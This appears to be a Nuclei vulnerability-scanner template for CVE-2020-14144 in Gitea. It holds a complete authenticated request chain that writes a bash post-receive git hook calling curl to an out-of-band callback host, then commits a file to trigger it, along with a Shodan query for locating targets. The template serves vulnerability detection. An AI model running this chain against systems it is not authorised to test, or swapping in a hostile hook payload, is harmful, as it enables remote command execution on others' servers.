id: CVE-2020-14144

info:
  name: Gitea Git Hooks Remote Code Execution
  author: theamanrawat
  severity: high
  description: |
    The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer environments where the documentation was not understood (e.g., one viewpoint is that the dangerousness of this feature should be documented immediately above the ENABLE_GIT_HOOKS line in the config file). NOTE: The vendor has indicated this is not a vulnerability and states "This is a functionality of the software that is limited to a very limited subset of accounts. If you give someone the privilege to execute arbitrary code on your server, they can execute arbitrary code on your server. We provide very clear warnings to users around this functionality and what it provides.
  reference:
    - https://dl.gitea.io/gitea/1.16.6
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14144
    - https://github.com/go-gitea/gitea/pull/13058
    - https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1125-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
  remediation: Fixed in version 1.16.7
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2020-14144
    cwe-id: CWE-78
  metadata:
    shodan-query: html:"Powered by Gitea Version"
    verified: "true"
  tags: cve,cve2020,rce,gitea,authenticated

requests:
  - raw:
      - |
        GET /user/login HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}

      - |
        GET /repo/create HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /repo/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{auth_csrf}}&uid=1&repo_name={{randstr}}&private=on&description=&repo_template=&issue_labels=&gitignores=&license=&readme=Default&auto_init=on&default_branch=master

      - |
        POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}}

      - |
        GET /{{username}}/{{randstr}}/_new/master HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /{{username}}/{{randstr}}/_new/master HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body_1
        words:
          - "Gitea:"

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'name="_csrf" value="(.*)"'
        internal: true

      - type: regex
        name: auth_csrf
        group: 1
        regex:
          - 'name="_csrf" content="(.*)"'
        internal: true

      - type: regex
        name: last_commit
        group: 1
        regex:
          - 'name="last_commit" value="(.*)"'
        internal: true